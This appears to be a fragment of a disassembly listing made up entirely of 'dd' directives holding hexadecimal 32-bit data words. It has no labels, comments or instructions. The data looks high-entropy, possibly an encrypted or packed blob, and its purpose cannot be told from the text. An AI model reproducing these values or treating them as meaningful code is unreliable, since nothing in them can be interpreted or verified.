		dd 0FFDDF779h, 0BBFB524h, 0AA01A99h, 3F7DD2BBh,	0CB812101h
		dd 43786DB1h, 13687230h, 0E1148E74h, 1A709D49h,	2F38794h
		dd 0D322F9EDh, 89DF3Bh,	36350CDFh, 123506EEh, 0FDE5E903h
		dd 5C50359Eh, 29D79756h, 0EE585709h, 4FA94CBDh,	0E93491EFh
		dd 75B138BFh, 0FEE1E716h, 401839FEh, 0DB6EC199h, 0F84B2A4Eh
		dd 0EED5055Bh, 0F76A0C19h, 0FB5F8A30h, 470BA572h, 427D6E95h
		dd 51080A5Ah, 0DAE1D62Dh, 46BA0616h, 0B19F3B5h,	6C7311D6h
		dd 8409F4B4h, 0F77A4217h, 79B58745h, 783DBF04h,	9CBF9CBAh
		dd 90297F40h, 0B2AAD35Dh, 5553C93Bh, 5B9273C7h,	472D0C0Ch
		dd 7B74AECFh, 0F0ADA301h, 0B64E3F1Ah, 61742D3Fh, 0E9DF093Fh
		dd 31E0C092h, 4ACCEEFEh, 0D779B8DBh, 0F591E090h, 72B183FEh
		dd 7EA9694Ch, 0E032C09h, 0B85F489h, 0BCFDDE81h,	0C81DA20Bh
		dd 5C296649h, 7020DCD0h, 86C39D26h, 336AE018h, 0DFC6B734h
		dd 126CFC95h, 75F1AD2Dh, 0B7511102h, 0D7E8017Ch, 99263181h
		dd 32AE4230h, 22C13289h, 5E1C3C31h, 9BD828EAh, 526875CFh
		dd 0AC0C19B6h, 39DA755Dh, 0DE989E5Eh, 8C024ABDh, 6A404D53h
		dd 50DB9EACh, 0C5979FB2h, 5CB3004Eh, 0E917C380h, 0D2A07A2Fh
		dd 5B4658D5h, 0B455D502h, 58FF2D20h, 0D0FCA2DAh, 4768151Ch
		dd 277D5557h, 237258D3h, 0E055EF01h, 0F93128B1h, 58E11D70h
		dd 1A3CFD1Bh, 83F4F1A5h, 0C7AE131Ch, 7301688Bh,	0D4542DB4h
		dd 4FD1E970h, 0E12FE421h, 630CE009h, 0F4075F47h, 0BF2005E5h
		dd 6C9A6307h, 6DE92FD1h, 0E74FB12Ch, 0E2A24E1Dh, 1F4FD130h
		dd 395B6F0Dh, 0E9822AE2h, 88D16040h, 8E3568C3h,	0E4A25E9Fh
		dd 489D218Ch, 56AA680Bh, 0B635951Bh, 8838BA93h,	0BFBA0552h
		dd 0BF0EA105h, 93EA5C0h, 6A1648C1h, 9FF38405h, 80C2ABE7h
		dd 2F80F4DFh, 6967BEDDh, 0D3D585DFh, 63DD62CCh,	29CB905Dh
		dd 0C23AD2EFh, 9F7E5004h, 407AEA52h, 80F41404h,	661EBC0h
		dd 0DBF60806h, 9FC64D70h, 0B5E00F71h, 48946846h, 0ADE4B6Bh
		dd 92A97827h, 5BF68022h, 0F0BDE7C1h, 0DB5C098Ah, 0D7827E6h
		dd 28D4A18h, 0EC45370Ch, 57F0A046h, 4EA817BFh, 0C4A9E06Eh
		dd 0F747662Dh, 0D805990Bh, 6C8CEAC3h, 0A34C4C11h, 0F656C0E4h
		dd 624FF52Eh, 86F10EBh,	82A4EE49h, 897D32B8h, 0EBB6513Dh
		dd 2CBDE8FDh, 0D12AC79Ch, 0FC1872EDh, 0F4C551C9h, 2B68F962h
		dd 745A9D78h, 2F0BC9FFh, 4372097Eh, 0D83B8093h,	89D6BD03h
		dd 484F2758h, 0CE041B32h, 941E8F0Fh, 481FFD91h,	512009B9h
		dd 0E6E58202h, 5E6242FAh, 0AFEE97FCh, 0E6BC9357h, 508F6010h
		dd 5241159Bh, 9EF3B92Fh, 2FD28020h, 6C103023h, 0B60C85Ah
		dd 0F381621Dh, 5545554Bh, 0FB4BFD05h, 3F2CF101h, 0F96A0F7Eh
		dd 765F2D28h, 0EB13121Bh, 31BDE574h, 5EAB2F7Fh,	0EB09E83Ah
		dd 80B1D855h, 0E540C2B5h, 0A0E29671h, 5253ACC0h, 80B43FB2h
		dd 7F8D2AFh, 0E65978B5h, 0B3F3E7EFh, 22060021h,	34D9B050h
		dd 784C045Dh, 220206Dh,	0FD2F681h, 7DE42EDh, 0DF129820h
		dd 0A3019AFCh, 0F893E9F5h, 0E1672AFh, 4C74720h,	3E2694B8h
		dd 690FC07Ah, 7C5FCE57h, 7CB6F9C4h, 0BDF6325Bh,	14266DD6h
		dd 7E555000h, 0B55DEE89h, 97204D50h, 0EA054AC6h, 7F51B4C7h
		dd 8135ED65h, 0C912AA2Bh, 0B9E4B0EFh, 2DE37AFFh, 671B6809h
		dd 79AD6647h, 0FBF56396h, 0CA01EA72h, 88BCEA80h, 0D8C15AD0h
		dd 0BD41F7FCh, 0D80FECAh, 0E333071Eh, 510521B2h, 0BA7EE952h
		dd 285BE620h, 41795C25h, 0EA3B7D34h, 0F9C6B180h, 0E3A33FEAh
		dd 5F56992Dh, 12E946Ah,	3BCE6614h, 5EF9D840h, 0DEF3C40h
		dd 4A7E50B9h, 0E811A401h, 78037218h, 2F5DA30Ch,	934168A0h
		dd 0AB0F2B8Eh, 1DB8125Eh, 0D3517327h, 0CE095B82h, 108D793h
		dd 1FB100AAh, 96E94860h, 0A8232EF3h, 0C629B768h, 34B62028h
		dd 5797F880h, 0F746EB0Ch, 9D7C76D2h, 8625F48h, 61D6D9BFh
		dd 8132B0E9h, 5DFCE2D5h, 0C83F2ED8h, 6859E944h,	74BB0008h
		dd 0C1695F49h, 43073FEBh, 4F542516h, 5198A8F2h,	3BA1861Dh
		dd 49B03F01h, 0E13020E8h, 0C870F1F6h, 8125D397h, 9E941EEh
		dd 124A3BC5h, 0FB2FC0B9h, 23C2E94Ch, 0E9E2F576h, 985BF087h
		dd 0EE623B38h, 68EFE4Eh, 85F9022Fh, 0DE137262h,	36EA0Fh
		dd 5FB47E6Eh, 7469CAE9h, 0AF8777ADh, 32672F56h,	0FD79BCE0h
		dd 0F341B85Ah, 74213FDFh, 0A86E0E21h, 5F1E4E2Dh, 0B18C3113h
		dd 0BA05FDABh, 0D830BC7h, 0C58B0212h, 2F181DB7h, 2C60C162h
		dd 46906839h, 0A738C939h, 81DAD246h, 903FE908h,	1854BEB7h
		dd 0A120CD2Fh, 339A6CEEh, 0D048177Fh, 7D56CAE1h, 0E8BFD17Bh
		dd 276B6A2Dh, 4CE00359h, 0A5A2DFC0h, 0DBA9B182h, 0F207900Ah
		dd 3152449Ah, 0F41A40D5h, 0F153C0EEh, 5BB78587h, 68E42FFDh
		dd 0A0DD9004h, 2048BC58h, 420114A7h, 9405EA81h,	47E884Dh
		dd 16FB1E0Bh, 0D1499D09h, 0FA7C899Eh, 5C9F63A1h, 0C1878526h
		dd 8CB05B6Eh, 84F3249Ah, 3C6B0B84h, 123C82D1h, 8CAA19BCh
		dd 9584C425h, 0E13546D0h, 0C9BE330Fh, 0F3A02ED0h, 99CE160Ch
		dd 0F90C1630h, 0FC044FA2h, 5C09CB51h, 8DE2998Bh, 5E5D8CC0h
		dd 34E62390h, 5F4F9A27h, 0B1BA2B04h, 9BB92A54h,	178FB2D6h
		dd 0ADCC567Fh, 0D22D4E8Ch
		dd 904410Eh, 644BE0BEh,	0E71F4912h, 41D7480Eh, 6580E9FBh
		dd 0EBB62682h, 39C1B753h, 69FEE5A7h, 22512F97h,	51A189E7h
		dd 5A54C25Ch, 7B4B935Bh, 41A16257h, 756C0054h, 0C8B73F0Fh
		dd 990ED394h, 2DA2F84h,	0FFCE685Ah, 0E80FDB4Ch,	0A5357431h
		dd 49D84412h, 950F0E6h,	7E94734h, 4948DE70h, 0DD3C0FF1h
		dd 0F7D2D2CBh, 974758F1h, 0B332FCCDh, 0AD03C93Dh, 8BD2E96Ah
		dd 0F8908057h, 0B5536346h, 0E7A4E2FCh, 5F2D0210h, 496C6990h
		dd 534C98B7h, 20B5A454h, 5E4F601Bh, 4E7DAAE6h, 0F5D89154h
		dd 2F13FA3h, 6F71BE2Fh,	0E87C5C01h, 9D21FC4h, 0F7E55729h
		dd 0E9D03107h, 0C9FB2174h, 0AEAC3BC6h, 0E254Fh,	61C8F7D5h
		dd 0CB658973h, 0B2EA595Dh, 0F2E9C2D2h, 8A29F742h, 1A020702h
		dd 27A84777h, 5EE0C5F6h, 0BE162068h, 415760A2h,	65B61B0Bh
		dd 90529F96h, 0C6A073B8h, 8D30148Eh, 309A0C53h,	15D1FF3h
		dd 851B9EEh, 13140CA0h,	46AA9DE9h, 0C15B8623h, 92BF5A75h
		dd 89F160C3h, 40A6307Dh, 0A80CEC3Ch, 5EDC3C48h,	680CF2A9h
		dd 473F54CAh, 0B65200F5h, 4B46F03Fh, 660A222Ch,	742F857Bh
		dd 7B840A0h, 607A0A7Eh,	0D96E3F25h, 0F8153CFFh,	4028D1FDh
		dd 0DE1E27A9h, 53D24733h, 0DEB7C7D8h, 596054C4h, 495744BEh
		dd 9F4EB008h, 0D468D9C8h, 7DC03053h, 4697857Fh,	0BB027B4Ah
		dd 30774BD8h, 9DC9E95Bh, 0C0794A8Bh, 49F1DEA5h,	0D43D4F87h
		dd 2EA7E508h, 3A372DEAh, 0F5A95D21h, 41C86800h,	0E867599Dh
		dd 0DB44043Fh, 0DF0C09FEh, 0E98512EDh, 7340D057h, 0E703B0BBh
		dd 53520006h, 0A6484B68h, 0C13D5B4Ah, 809FD0E3h, 0B42A2405h
		dd 3C31DA89h, 0B700ED3Fh, 0F7278090h, 4B095D7Dh, 47BC9484h
		dd 5A00B6BBh, 16CEBE0Bh, 0C3188431h, 2FF053FFh,	747C3C3Bh
		dd 0E95F85F3h, 88AB5FF7h, 4696570Eh, 0EAF0376Fh, 82FEE480h
		dd 4B0BC509h, 0BFBC18FEh, 427E25CEh, 52F3D441h,	243BACC1h
		dd 5803BD56h, 0BB109731h, 0BC0B5F59h, 0C5E04AF6h, 41624A76h
		dd 0C69F1B2Ch, 5AF3A6Fh, 0FF26092Dh, 21ECE78Dh,	8080EDE4h
		dd 49AB2D59h, 9BEA58B4h, 6B4E3672h, 74147ECh, 57305485h
		dd 6E1FBA18h, 1AAC1E02h, 9545901h, 31EAA8BAh, 6676AC0h
		dd 2AD4748h, 6B3EC2EFh,	45BD416Ch, 6B52B501h, 0C12CD9C2h
		dd 0F8D7B1C6h, 0B6FEECDFh, 0E1688412h, 0F4F7D847h, 8020D661h
		dd 522EB9EBh, 3F2FFDA4h, 0E92AC1E5h, 5A05B5EEh,	6588E8FDh
		dd 61395A36h, 127CBEBFh, 0AC7F0234h, 9206B74Ch,	8B3351DBh
		dd 4B172411h, 0DCEA88F8h, 5D04B913h, 79824F21h,	0E07509E8h
		dd 3E70D7DBh, 0B8955423h, 0B4036F14h, 0B0E4808Eh, 0E417EC9Bh
		dd 1D08D6CCh, 2BD63082h, 7BE76E5Eh, 80517F5h, 0C9103FEDh
		dd 0FD881C06h, 5B59EA85h, 0BB8CC8EEh, 4C7A5058h, 0BD527BFh
		dd 739E5764h, 6A259CA4h, 228F462Ah, 0FCC5033Eh,	0A10821B7h
		dd 42816E4h, 0EE5E52AFh, 0A3AFD734h, 0DDE983BEh, 0C6DB2F12h
		dd 369A8E77h, 24C064BAh, 6B7FC203h, 35225A0Bh, 9111477h
		dd 9E004B84h, 1CA2656Fh, 6D0BF3ECh, 0D752A337h,	0C6291982h
		dd 89F6D957h, 0D1A527E9h, 795EBA2Dh, 8ECE7B8Ah,	0B38C3ECAh
		dd 0BFF56D97h, 5E6A5940h, 2D107F5Ch, 888B7937h,	243C0652h
		dd 7108E1E2h, 0ECAD17D0h, 7AAC04DDh, 64C029C7h,	0C60C0BBh
		dd 0B6E94593h, 0E35968CFh, 995C0B8h, 1E811E0Dh,	6C0E96CDh
		dd 5C50076h, 0E925C85Ch, 9FB87D32h, 0E8A541CBh,	897D852Fh
		dd 2077F942h, 73446456h, 508BF05h, 0D42EBCCDh, 0E8555AB9h
		dd 81A534BDh, 663BF4ACh, 6139681Dh, 0D6B1F331h,	579EC82Bh
		dd 0B42C1D62h, 0D103774Ch, 127E725Fh, 61D5142Dh, 0ED5CD01Eh
		dd 3A0A4132h, 860583B8h, 0AED25945h, 4EED50D0h,	1CCE0A7Eh
		dd 44DFD501h, 3BF38DB6h, 0F25E17ACh, 9EF2C48Bh,	0CB99D016h
		dd 5A0BD388h, 6304EBC0h, 0DF48DA66h, 253F3747h,	0BE5F804Ah
		dd 12717467h, 90F3014Eh, 26685F08h, 0BEE64F5Bh,	0A174EE5Bh
		dd 4E57E7AEh, 1BEC5384h, 49C0E9F0h, 648237B4h, 0D5E490BDh
		dd 8CA1B0Fh, 0EF7CA5B4h, 38CCD7FAh, 0A0F6534h, 4075A3F2h
		dd 15A65ED3h, 0D6E58D28h, 29AC215Bh, 7348E33Bh,	0C90910D3h
		dd 0FD2B8C9Fh, 0D3DE592Ch, 0FE0B6D49h, 15B08E33h, 0A954C30Bh
		dd 3C57564Bh, 87183AB4h, 15065CE7h, 6981DC95h, 0F2C926C5h
		dd 9EB64CBDh, 0C197C61Ch, 0D6F68EEEh, 0EF07D5C0h, 0F381DFB3h
		dd 0A8086B5Ah, 0F4280E5Fh, 9587A8E4h, 0F109AF96h, 80207E35h
		dd 1EAD5F48h, 89029DBEh, 70E9E499h, 445F5ED5h, 6A87AAC0h
		dd 590125F4h, 2CD48850h, 0E6B7A7CBh, 0C881F1D5h, 5902117Bh
		dd 824EDF7h, 333C62F7h,	99B78CF1h, 0BC7D40B8h, 0CD36C107h
		dd 0E4D7990Dh, 219432A6h, 585DBF4Ch, 5AFFF47Ch,	538D02DDh
		dd 0CBD0D6B3h, 0B37AFA30h, 13EF1705h, 0E629D9B7h, 0A0814B55h
		dd 843A6FE9h, 114CBE4h,	64BF6852h, 0F82A31F4h, 6DF0A427h
		dd 60C141ACh, 3408333Eh, 3C312A9Dh, 4F3EE680h, 0A0E91D35h
		dd 57FC09B7h, 0A8853AEEh, 4DB5E985h, 85ACD552h,	20DD5F2Fh
		dd 76CA33F0h, 2FF7B403h, 91609ED7h, 31680B25h, 0A087457Fh
		dd 6848A015h, 90D9973Bh, 702DE7A4h, 0BF131A53h,	47400BE8h
		dd 462C7D91h, 0C794D561h, 15D1308h, 0E1AC21AEh,	9FAA0775h
		dd 0DE27E448h, 7AE9D06Dh, 1198F75Bh, 0EDD3E459h, 0FD52BB17h
		dd 8411E73Bh, 0EF832A45h, 2E800CA0h, 2EEF9162h,	0E0B0170Ch
		dd 0F358090Bh, 0D9E73B54h, 30FFD301h, 799EE985h, 57555EC0h
		dd 275D2D68h, 5ED8769Ch, 0E11AFC01h, 7B9E92Bh, 9E05D769h
		dd 0B81EEF73h, 42048DD9h, 9F8ABD3Bh, 0BB376C4Ch, 72719FEEh
		dd 0A87ED6A7h, 0C705BF23h, 6C39BB5Dh, 0C5588202h, 0E4688500h
		dd 555BCC75h, 0E99AE972h, 130BF12h, 0BCF60E0h, 40F46F9Dh
		dd 0D67D0CF5h, 241024C4h, 0E9F70FB2h, 0BF831313h, 0FED202E3h
		dd 4F9F3CB4h, 0EB4AC4D1h, 0E85B0FE3h, 0F75AB8A2h, 54DDFF04h
		dd 0D14FC2Bh, 8A6C9BE9h, 0F13D816Eh, 0C3B000B1h, 40A072Ch
		dd 65E234C4h, 0D45F8333h, 41F88C62h, 5082DEA7h,	40FC5BDDh
		dd 875E54BAh, 86860F8h,	3623DE2h, 54D46F68h, 3F9F9E2Bh
		dd 27AD9060h, 0A7C61202h, 0DA1FCE7Bh, 2F8B4731h, 0B194B154h
		dd 4F5A3D64h, 7D50A353h, 5A440E25h, 0DAC90BA8h,	0E289E2B5h
		dd 16ABF05h, 33289460h,	0DDE6077h, 39F5F682h, 119E3A6h
		dd 493402F3h, 3FF23FD2h, 0D10A9F0Fh, 0F9A572h, 6167E908h
		dd 87B13AB7h, 4F430F7Fh, 727E75h, 812E1F1Ah, 62789FE3h
		dd 0E9955C50h, 82C4964Eh, 6A553DBBh, 54034871h,	1FC36E38h
		dd 34D6B33Fh, 0E90EF20Ch, 0CF02CE6Ah, 0DE050306h, 68C2D018h
		dd 34B6435Eh, 23606B62h, 0B1421E8h, 50FBD05Eh, 531E0AD5h
		dd 29D574FCh, 0E87770D0h, 0FD173AE1h, 893CCAAEh, 44A1595Ch
		dd 48B0BBC7h, 0DB0117E9h, 0B88C90FEh, 3F141997h, 9D4805h
		dd 2ECF0246h, 9D5BD829h, 0F1807364h, 0BB3D5815h, 0C10DA773h
		dd 79704647h, 991C076Bh, 0E4F10972h, 5F8AA03Ch,	68515303h
		dd 0AFD63493h, 5DE82FD2h, 300B53B0h, 0FF8CF283h, 7CEB2E48h
		dd 0D8DAC327h, 0F5859708h, 0BB6EC531h, 98068286h, 0AF9A20E5h
		dd 0F0815A4Fh, 6B308D5Bh, 0ADF89EB0h, 4DFA33ECh, 98D3D75Eh
		dd 0D97CC1CDh, 5755386Ah, 4141E6FEh, 34BEC72Eh,	0BE73C4C6h
		dd 9D0C5796h, 83E496FAh, 1DE86FFFh, 809294F5h, 1467DE12h
		dd 3A7D5258h, 7563F737h
		dd 8873ED0Ch, 4BB76827h, 10DCB33Fh, 0AC4BB8EEh,	0D6E0109Bh
		dd 0B6E18101h, 0DB338D09h, 26DBB8E0h, 0C8292019h, 84E8F8ACh
		dd 0A3EA95EBh, 0D7979BFAh, 0AAEB932Bh, 364FEA10h, 0F144FA4Fh
		dd 0DDAEC1E4h, 0A5E7CF88h, 0F77CD151h, 0C20BADD1h, 0F1E760B8h
		dd 28413421h, 0BCD302E0h, 8863AF99h, 2DF95BA8h,	83AC014Eh
		dd 76A0841h, 354E65E1h,	80BC11Ah, 93946F4Fh, 0D13E49BDh
		dd 80B8501Fh, 574FD11h,	0D4272A18h, 0F064E310h,	7A1E3023h
		dd 6C473F2Dh, 4A0DA8DEh, 0C53E64BFh, 0B099F86Eh, 0BC72C068h
		dd 4ED06080h, 9D907A95h, 0B222703h, 8253E91Fh, 0A7D477FFh
		dd 40E5BDEFh, 9FD62926h, 2DE0C960h, 0F759C101h,	7D0E68DDh
		dd 0E74E0433h, 3C2210F1h, 6B25E34h, 9803EA90h, 356FED81h
		dd 0A9742DAh, 0B3EB1FD9h, 12820451h, 0C320D02Bh, 0D5E0E11h
		dd 66C863F1h, 9C68975Ah, 2FE78D51h, 0CA8E00ABh,	45DC106Ah
		dd 0DE7D0E9Dh, 89D83F44h, 5D6E2EBh, 0AE4957C2h,	1C04A9B8h
		dd 0AA0F8C36h, 8065FB1h, 8414820Ch, 3CD9E6F1h, 1E3D7DFCh
		dd 923257Ah, 7B8553A1h,	7664FB73h, 3E1F51BCh, 6347CB50h
		dd 1676105Dh, 8FF89D9Fh, 0D419A870h, 400E454Ah,	0B777D5D4h
		dd 3398667Ah, 8BD7912h,	0E92866E8h, 0BA7E9508h,	55F9F662h
		dd 3E685A21h, 0C42E6861h, 0A794FA38h, 1E0736C0h, 5F85981Ch
		dd 5CEF013Bh, 3AC8BE0Fh, 564028EEh, 61AB2AFBh, 2821E941h
		dd 0DEA14ED6h, 949E61CEh, 0BBA3764h, 7C327522h,	0F227A254h
		dd 790B8337h, 0BC5CB7D8h, 0B133F727h, 13137E8h,	0B80C1F60h
		dd 97021D54h, 80D37EAh,	5614000Ch, 175A4CE9h, 0FCBB3574h
		dd 112AF1B7h, 0E0C6D196h, 0C4395894h, 4F36CE2Eh, 6E867D1Ah
		dd 0E9C2CABAh, 0E4FC4680h, 0DD55ED89h, 0ABD84D3Bh, 4113A873h
		dd 0F0EC101h, 43E5A551h, 0F0F15AC4h, 58B2CB6Ch,	198B57C0h
		dd 0DDEE22D6h, 82348E1Fh, 0C2E6D54h, 814BFB2Bh,	5B3E7872h
		dd 0C5B1D85Bh, 600BCA7Ch, 0DBE889D4h, 33E90948h, 0EF41C4DEh
		dd 6B6225B9h, 0C4B54F7Eh, 4F07AE26h, 79213375h,	0DEA75158h
		dd 130E0709h, 0C1F41657h, 0E64C683Ah, 809F355h,	0E96249C5h
		dd 0B98D5D99h, 392C6E6Ah, 0FB5D4E5Ah, 0B75375CCh, 7E2AD3EFh
		dd 80CC2991h, 0B21A4572h, 0D776F85Eh, 227DE68h,	3F50F3BFh
		dd 1E1AB19Bh, 97CBF3A9h, 0E6EDBEAAh, 0F8A9547Fh, 838B55Fh
		dd 0EB97A611h, 0EADFB93Ah, 5F121222h, 0E894D04Ch, 0CB84D49h
		dd 0A8D0DF60h, 0BD9B0A7Fh, 0E4EBADE9h, 3F50871Fh, 6DC9DBAAh
		dd 6128DF2Dh, 19E64F8Ah, 28EC9EDEh, 805EF078h, 49E26813h
		dd 8E68F063h, 0D4B6A8A4h, 0B4BCE4E5h, 287B89B1h, 0CB6CC4A1h
		dd 0D79C0EB8h, 171724EEh, 0AFF51295h, 692A80DDh, 0BD9E81AAh
		dd 0C921B599h, 0A82F6821h, 64E90A8Fh, 0B2482869h, 8D5E6F27h
		dd 0A7B101E0h, 0F37CFC34h, 943EE5A9h, 39B53063h, 0D69F78CAh
		dd 0E4F75A4Dh, 0CF813B4Ch, 473D3138h, 9DD17B93h, 640D262h
		dd 0F582B508h, 929FD663h, 6ED088E8h, 0F6B1942Dh, 0EB7F53B0h
		dd 0CE03C83Fh, 0B8B79CBEh, 91BEFCBAh, 12FD46F3h, 0D38FE981h
		dd 0C28E2EFEh, 19D75E25h, 3A5083h, 0B1AB8B4h, 2BF41BC4h
		dd 5E311040h, 40E1E3F7h, 0F9401189h, 2C5B0266h,	0B5C7808Dh
		dd 0AE2A4B77h, 0E95816E7h, 0C481C596h, 0C1408091h, 734FD64Ah
		dd 4086350h, 0FEDDE7E9h, 1A56DACh, 97E3F65h, 8EA46B2Ch
		dd 0EBCE1781h, 0C1A90952h, 0D417520Dh, 3F13280Ch, 88BF01F8h
		dd 0CAB05571h, 0B3895B4Eh, 91B5F6Ah, 4EDDA6C3h,	1DA149ACh
		dd 1DD932Eh, 75732825h,	399AF57Fh, 5ADB4C48h, 0F8804CF3h
		dd 0BD136D6Ch, 11609700h, 5BDD3146h, 56509D29h,	0B75E0540h
		dd 0EE7374CEh, 0A1653CF5h, 570014F5h, 480FE068h, 895F10C3h
		dd 0E2E75797h, 610F3224h, 766AEB1Fh, 0FD88C23Ah, 40D92802h
		dd 0BD5B485Dh, 885D49ECh, 135E3B21h, 67AF8A77h,	935A30Eh
		dd 0B2166576h, 6904402Ch, 0FE017633h, 0F8D7F6CFh, 12D264DDh
		dd 81DF34FAh, 88D95h, 0B8EB295Fh, 4B740B53h, 36E209E8h
		dd 6649616Ch, 0C92010DEh, 0B473A05Bh, 0A33FA941h, 0F0C2092h
		dd 670D50BCh, 0D1D5B4B7h, 3DF44150h, 0A5BCF54Bh, 2E410C4h
		dd 0FD54CE68h, 0B7F29766h, 0BE01AABBh, 20DE170Eh, 7C20AE3Ah
		dd 3B7877CEh, 0F60E03A5h, 0DFC3F8F5h, 0FAFC5856h, 8E5822B6h
		dd 87C4EA5Ch, 6A84241Ch, 0E87FACB1h, 63BFC0FAh,	2F657858h
		dd 0B67D5452h, 75DC9DCDh, 4F1AE950h, 12171C1h, 0C4226BDFh
		dd 27D7D08Eh, 125F0C33h, 2588581Eh, 0CD461CBFh,	5CB1B404h
		dd 85B9F930h, 16CC2B84h, 0A7C33103h, 0F5DA875h,	0C658B5B7h
		dd 88452221h, 82238F51h, 0CC83088h, 0DE54E7C0h,	35B99C4Eh
		dd 0B54AE8A4h, 2FA3A605h, 9080DC37h, 309920h, 57464E5Eh
		dd 0FED682E9h, 9572EC9Dh, 5CB7EF1Eh, 0B0227A50h, 0F977230Eh
		dd 25691DC9h, 0B438AAE6h, 70FB5B0Fh, 2C583D8h, 0E9639895h
		dd 4D0D67D1h, 0BC8175D3h, 0FBDC4B0Eh, 0B86812F0h, 27BFBD76h
		dd 2F992EFh, 185A09B5h,	0D7837230h, 5C2579D2h, 0C09E637Ch
		dd 0BB81C00h, 5772F11h,	4A37EA76h, 925DE0C2h, 88130097h
		dd 16805AD5h, 0B066D1F5h, 0B7389B75h, 0ADD73EDFh, 623F820h
		dd 0E5C0C5FEh, 324C2C04h, 0D6CC2574h, 0D4BA6527h, 8FF2BE20h
		dd 2DF1FC92h, 2031F5BDh, 1BF26E20h, 0BFFD535Ah,	0B5C1FF24h
		dd 7907F4F2h, 0B28FF07h, 7CB56C7Dh, 0D0445EE9h,	6D42F103h
		dd 0C717707Bh, 7E22FECDh, 9A7C5D87h, 5375E759h,	0A153BD2Ah
		dd 0AF04DE21h, 3A41D629h, 242FCCC4h, 0C9458342h, 9E68B8C4h
		dd 8D9F297Ah, 0BF123CC4h, 4E1B5D02h, 0CBB240DBh, 0C13539EEh
		dd 300BB848h, 0D0DC4650h, 4E23F302h, 78E2DD26h,	0FEF534C0h
		dd 6E9E549Dh, 82EB4AB1h, 4EDF5A41h, 0E911C2EEh,	0BBFDD812h
		dd 0B6C2D92Ch, 0AE3B2B25h, 0E9526970h, 0FC695EECh, 5059C972h
		dd 0F00558FBh, 0AB5EE217h, 97547BC8h, 0A9BFC005h, 0B00F5E90h
		dd 0DF70CB5Ah, 683CAD96h, 82374F60h, 4B158840h,	2AF85831h
		dd 6D66F04Ah, 0B0F7EF40h, 0A90E4946h, 5CD25938h, 70ED8100h
		dd 172AA61h, 6D1CF560h,	0B847AF43h, 0E5E9252Ah,	4E87F929h
		dd 0D0069451h, 6D97684Eh, 5B27831Dh, 0D446D389h, 23A26F07h
		dd 0D8DF74EAh, 0BF5734A6h, 83C1BB75h, 0E260FA87h, 25229642h
		dd 175479FCh, 0EB5515Ch, 0E943CDB3h, 8916CB5Dh,	28AE052Eh
		dd 0CE25833Eh, 0B340C4FEh, 0E8978F04h, 855197F2h, 0EA4BD42Ah
		dd 58666CC8h, 9E44CC5h,	6575294Eh, 2169A899h, 25BCE8A6h
		dd 77E862D5h, 3A359748h, 0C8A72181h, 0F874C655h, 0FDD9C503h
		dd 40418D2Ah, 0B71B3383h, 0D1EE0D4Bh, 0B861E9D4h, 3DDED15Ah
		dd 34F04B48h, 0ECF65FA8h, 0C62882DAh, 0C16EC258h, 0B800D2E3h
		dd 463D1D43h, 48342539h, 2EBBC233h, 3B49641Ch, 86784D7Dh
		dd 2367B902h, 70F130FAh, 0DEEEE942h, 0C9923ACFh, 81F933C4h
		dd 12A954EBh, 60C8267h,	0B2B20h, 3BC449D4h, 0C6FC7B90h
		dd 0C4508A3h, 2089F214h, 7F5AB056h, 17E2F551h, 645DF6D4h
		dd 0B6CBE0F5h, 0F726EDB0h, 0C502ED66h, 57FD288Ah, 12092E09h
		dd 3AC20842h, 9D281CFFh, 4EC85302h, 5B59F07Eh, 0A027B96Fh
		dd 0EF96DBE9h, 978F1E2h, 0FAD4AFE6h, 0E2BB5DE5h, 138AB1EAh
		dd 205B3A92h, 7B7F93EEh, 5CC635Ch, 133162FCh, 73FEB603h
		dd 0AAE9B12Bh, 0A82F4A35h, 0C3EAB1C5h, 1C561EADh, 4835F262h
		dd 9C74624Ah, 4BDA696Eh
		dd 2994E919h, 40E18F24h, 49A5C6E1h, 2F2D16F5h, 0C34C436Fh
		dd 55D50127h, 62E9F590h, 0D74E2FEDh, 105E2429h,	0BAD20FBh
		dd 26608838h, 0A708A1Eh, 0E2E93F01h, 18798CCFh,	0FBED1B4Eh
		dd 18F32DC4h, 3DF7ED94h, 292D7A03h, 19B8BA82h, 680F28F9h
		dd 1E61F7B2h, 0EE04483Bh, 0E3124EB8h, 56349CF1h, 0DE766854h
		dd 71CC9F5Bh, 63A5690Bh, 25C9E6FDh, 2E092B88h, 69A671DDh
		dd 33447351h, 0F848E902h, 0DDD12869h, 69097AEFh, 6056F866h
		dd 0C9F2A193h, 712D010Ch, 287D229h, 1C3D9839h, 4455E889h
		dd 0DAE4958Eh, 68B60195h, 0CF894F83h, 0BB5EDE10h, 70F23062h
		dd 0FF56BFA0h, 0A0B57025h, 64EA246h, 85E91048h,	0FEB43691h
		dd 626DEB02h, 73C08032h, 2F0E4D0Fh, 0F4AA22E9h,	0BB5CB403h
		dd 0E0178513h, 0B53832Ch, 0DAB639B3h, 0F7234C06h, 990F35B1h
		dd 0A6BA33E0h, 307809Dh, 1E0536DAh, 2D486368h, 85B99BDEh
		dd 0E17242CCh, 68A78CBBh, 284D3D24h, 4F207D6Bh,	7BBB4961h
		dd 0F7A3E598h, 444B6EB0h, 7AE9F85Ah, 2D78BA25h,	469B1F90h
		dd 4CF1BE80h, 581224Fh,	2F0A1BE6h, 0D8DC0B15h, 6DA63960h
		dd 0FE1CDB2Dh, 9281DB4h, 49FF0F42h, 0A1BE5892h,	0ACEE6816h
		dd 2AEF5BC2h, 952C1CAEh, 5AFAC81Fh, 0E3B72CFFh,	86E6E54Ah
		dd 6D21EA4Ah, 53078114h, 0AC4AC1D0h, 60729FAEh,	1B2FB964h
		dd 495938F4h, 0ABE1D192h, 0AC8B613h, 7328092Dh,	71F67A3Bh
		dd 5B130720h, 8A83C331h, 0E9754B96h, 4D6E167Fh,	17E463FBh
		dd 0EB817DA8h, 7E107A0Eh, 0BACBC050h, 0F860E21Fh, 0E4FE76F3h
		dd 20D3A46Ch, 0FAF0899Dh, 0DAB632E8h, 4D1C6861h, 0EA037276h
		dd 814EFC76h, 0D060F2A8h, 6316175Eh, 0F94E1BBDh, 6A1B8BC9h
		dd 7F3542C5h, 3F9AAA0Bh, 574C1266h, 9EF25BD8h, 0E9F2F1DFh
		dd 4A8A3C3Fh, 0C7A203A8h, 2422F077h, 0CA3DF01h,	0D0D754D1h
		dd 0BB4B19EEh, 3A86F990h, 2950CADFh, 89579DC0h,	2874E0FCh
		dd 796A80E9h, 97514F34h, 8824EFAh, 0FA6E3341h, 0C55AB64Ch
		dd 592FBEE9h, 0E494056h, 662F3004h, 5B3AC17Ch, 0B62FA1F9h
